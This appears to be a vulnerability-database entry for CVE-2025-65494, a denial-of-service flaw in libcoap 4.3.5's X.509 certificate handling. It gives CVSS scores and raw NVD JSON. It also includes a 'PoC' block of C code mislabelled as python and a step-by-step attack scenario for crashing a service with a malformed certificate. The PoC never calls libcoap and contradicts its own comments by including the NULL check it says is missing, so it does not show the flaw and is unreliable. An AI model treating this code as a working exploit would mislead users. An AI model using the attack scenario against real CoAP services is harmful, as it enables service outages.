Security Vulnerability Report
中文
CVE-2025-65494 CVSS 7.5 HIGH

CVE-2025-65494

Published: 2025-11-24 14:15:47
Last Modified: 2025-12-01 17:18:00

Description

NULL pointer dereference in get_san_or_cn_from_cert() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted X.509 certificate that causes sk_GENERAL_NAME_value() to return NULL.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:* - VULNERABLE
libcoap 4.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-65494 PoC - Malformed X.509 Certificate for libcoap DoS * This PoC demonstrates sending a crafted certificate that triggers * NULL pointer dereference in get_san_or_cn_from_cert() */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/bio.h> #include <openssl/x509.h> #include <openssl/x509v3.h> #include <openssl/err.h> /* Generate a malformed X.509 certificate with empty SAN extension */ X509* create_malformed_cert() { X509 *cert = X509_new(); if (!cert) return NULL; /* Set basic certificate fields */ X509_set_version(cert, 2); ASN1_INTEGER_set(X509_get_serialNumber(cert), 1); /* Create empty SAN extension - this triggers the vulnerability */ X509_EXTENSION *san_ext = X509V3_EXT_conf_nid( NULL, NULL, NID_subject_alt_name, ""); if (san_ext) { X509_add_ext(cert, san_ext); X509_EXTENSION_free(san_ext); } return cert; } /* Simulate the vulnerable function call */ void trigger_vulnerability(X509 *cert) { GENERAL_NAMES *sans = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); if (sans) { /* VULNERABLE: No NULL check before calling sk_GENERAL_NAME_value() */ GENERAL_NAME *san = sk_GENERAL_NAME_value(sans, 0); /* If san is NULL, dereferencing it will cause crash */ if (san) { printf("Processing SAN entry\n"); } sk_GENERAL_NAME_pop_free(sans, GENERAL_NAME_free); } } int main(int argc, char **argv) { printf("[*] CVE-2025-65494 PoC - libcoap NULL Pointer Dereference\n"); printf("[*] Creating malformed certificate...\n"); X509 *malformed_cert = create_malformed_cert(); if (!malformed_cert) { fprintf(stderr, "[-] Failed to create certificate\n"); return 1; } printf("[*] Triggering vulnerability in get_san_or_cn_from_cert()...\n"); trigger_vulnerability(malformed_cert); X509_free(malformed_cert); printf("[+] Test completed\n"); return 0; } /* * Attack scenario: * 1. Attacker crafts a DTLS/TLS client with malformed certificate * 2. Sends ClientHello with the malicious certificate * 3. libcoap's coap_openssl.c processes the certificate * 4. sk_GENERAL_NAME_value() returns NULL * 5. NULL pointer dereference causes segfault * 6. Service becomes unavailable (DoS) */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65494", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:46.910", "lastModified": "2025-12-01T17:17:59.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in get_san_or_cn_from_cert() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted X.509 certificate that causes sk_GENERAL_NAME_value() to return NULL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1745", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}